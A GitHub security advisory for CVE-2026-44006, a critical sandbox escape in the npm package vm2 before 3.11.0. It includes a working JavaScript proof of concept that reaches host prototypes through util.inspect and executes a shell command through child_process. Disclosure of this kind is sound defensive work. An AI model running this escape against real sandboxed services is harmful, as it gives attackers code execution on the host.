GitHub Advisoryadvisory · npm
GHSA-qcp4-v2jj-fjx8 vm2 has a Sandbox Escape Vulnerability
CRITICAL
Official page ↗
- Aliases
- CVE-2026-44006
- Ecosystem
- npm
- Packages
- vm2
- Severity
- Critical
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
- Weaknesses
- CWE-94
- Reviewed
- 2026-05-07
Affected packages
• npm vm2: < 3.11.0 → fixed in 3.11.0
Description
Summary
It is possible to reach `BaseHandler.getPrototypeOf`, which can be used to get arbitrary prototypes
Details
https://github.com/patriksimek/vm2/blob/408fc855f1cc1bbc2985b029465ee0e732ada433/lib/bridge.js#L655-L658
`BaseHandler` can be reached via `util.inspect` (same as https://github.com/patriksimek/vm2/commit/57971fa423abeb66f09e47e18102986549474ca8)
PoC
```js
let obj = {
subarray: Buffer.prototype.inspect,
slice: Buffer.prototype.slice,
hexSlice: () => '',
};
let sym;
obj.slice(10, {
showHidden: true,
showProxy: true,
depth: 10,
stylize(a) {
const handler = this.seen && this.seen[1];
if (handler && handler.getPrototypeOf) {
gP = handler.getPrototypeOf;
HObjectProto = gP(gP(gP(gP(Buffer))));
HObject = HObjectProto.constructor;
sym = HObject.getOwnPropertySymbols(Buffer.prototype).at(0);
}
return a;
},
});
obj = {
[sym]: (depth, opt, inspect) => {
inspect.constructor('return process')()
.getBuiltinModule('child_process')
.execSync('id', { stdio: 'inherit' });
},
valueOf: undefined,
constructor: undefined,
};
WebAssembly.compileStreaming(obj).catch(() => {});
```
Impact
Sandbox Escape -> RCE
Related
Alias · CVE (1)
- CVE-2026-44006 vm2 is an open source vm/sandbox for Node.js. vulnerability
Weakness · CWE (1)
- CWE-94 Improper Control of Generation of Code weakness
References
- https://github.com/patriksimek/vm2/security/advisories/GHSA-qcp4-v2jj-fjx8 web
- https://nvd.nist.gov/vuln/detail/CVE-2026-44006 advisory
- https://github.com/patriksimek/vm2 package
- https://github.com/patriksimek/vm2/blob/408fc855f1cc1bbc2985b029465ee0e732ada433/lib/bridge.js#L655-L658 web
- https://github.com/patriksimek/vm2/releases/tag/v3.11.0 web